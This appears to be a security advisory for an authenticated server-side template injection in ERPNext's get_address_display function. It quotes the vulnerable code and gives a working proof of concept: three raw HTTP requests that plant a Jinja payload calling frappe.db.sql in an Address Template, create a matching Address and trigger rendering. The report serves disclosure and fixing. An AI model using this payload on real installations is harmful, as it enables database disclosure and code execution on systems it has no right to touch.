Description:
An authenticated SSTI (Server-Side Template Injection) vulnerability exists in the get_address_display method of ERPNext. This function renders address templates using frappe.render_template() with a context derived from the address_dict parameter, which can be either a dictionary or a string referencing an Address document.
Although ERPNext uses a custom Jinja2 SandboxedEnvironment, dangerous functions like frappe.db.sql remain accessible via get_safe_globals().
An attacker with permission to create or modify an Address Template can inject arbitrary Jinja expressions into the template field. By creating an Address document with a matching country, and then calling the get_address_display API with address_dict="address_name", the system will render the malicious template using attacker-controlled data. This leads to server-side code execution or database information disclosure.
Vulnerable source code:
File frappe/contacts/doctype/address/address.py
@frappe.whitelist()
def get_address_display(address_dict: dict | str | None) -> str | None:
return render_address(address_dict)
def render_address(address: dict | str | None, check_permissions=True) -> str | None:
if not address:
return
if not isinstance(address, dict):
address = frappe.get_cached_doc("Address", address)
if check_permissions:
address.check_permission()
address = address.as_dict()
name, template = get_address_templates(address)
try:
return frappe.render_template(template, address)
except TemplateSyntaxError:
frappe.throw(_("There is an error in your Address Template {0}").format(name))
Request set template = {{ frappe.db.sql("SELECT @@version") }}
POST /api/method/frappe.desk.form.save.savedocs HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/address-template/Angola>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD:
X-Requested-With: XMLHttpRequest
Content-Length: 539
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=
Priority: u=0
doc=%7B%22name%22%3A%22Angola%22%2C%22owner%22%3A%22Administrator%22%2C%22creation%22%3A%222025-07-22+16%3A51%3A56.011084%22%2C%22modified%22%3A%222025-07-22+16%3A51%3A56.011084%22%2C%22modified_by%22%3A%22Administrator%22%2C%22docstatus%22%3A0%2C%22idx%22%3A0%2C%22country%22%3A%22Angola%22%2C%22is_default%22%3A1%2C%22template%22%3A%22%7B%7B+frappe.db.sql(%5C%22SELECT+%40%40version%5C%22)+%7D%7D%22%2C%22doctype%22%3A%22Address+Template%22%2C%22__last_sync_on%22%3A%222025-07-22T10%3A03%3A08.734Z%22%2C%22__unsaved%22%3A1%7D&action=Save
Request created addr_dict
POST /api/method/frappe.desk.form.save.savedocs HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/address/new-address-zlkvwenbty>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD:
X-Requested-With: XMLHttpRequest
Content-Length: 534
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=
Priority: u=0
doc=%7B%22docstatus%22%3A0%2C%22doctype%22%3A%22Address%22%2C%22name%22%3A%22new-address-zlkvwenbty%22%2C%22__islocal%22%3A1%2C%22__unsaved%22%3A1%2C%22owner%22%3A%22Administrator%22%2C%22address_type%22%3A%22Billing%22%2C%22country%22%3A%22Angola%22%2C%22is_primary_address%22%3A0%2C%22is_shipping_address%22%3A0%2C%22disabled%22%3A0%2C%22is_your_company_address%22%3A0%2C%22links%22%3A%5B%5D%2C%22address_title%22%3A%22helloan5%22%2C%22address_line1%22%3A%22a%22%2C%22address_line2%22%3A%22a%22%2C%22city%22%3A%22a%22%7D&action=Save
Request trigger:
POST /api/method/frappe.contacts.doctype.address.address.get_address_display HTTP/1.1
Host: localhost:8282
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <http://localhost:8282/app/email-template/new-email-template-trqleapgcw>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Frappe-CSRF-Token: 27ea374df63ec3399e5f90470026b4a864f56de4f42af8c1abdc83f3
X-Frappe-CMD:
X-Requested-With: XMLHttpRequest
Content-Length: 21
Origin: <http://localhost:8282>
Connection: keep-alive
Cookie: wp-settings-time-1=1744785508; __stripe_mid=96539bc5-545f-4ab3-a001-18d0b1c7d5f77fba7e; sid=b31359b0ed3c1d9a985136350864cd9a30c07d2743332aa1f35d2230; system_user=yes; full_name=Administrator; user_id=Administrator; user_image=
Priority: u=0
address_dict=helloan5
PoC
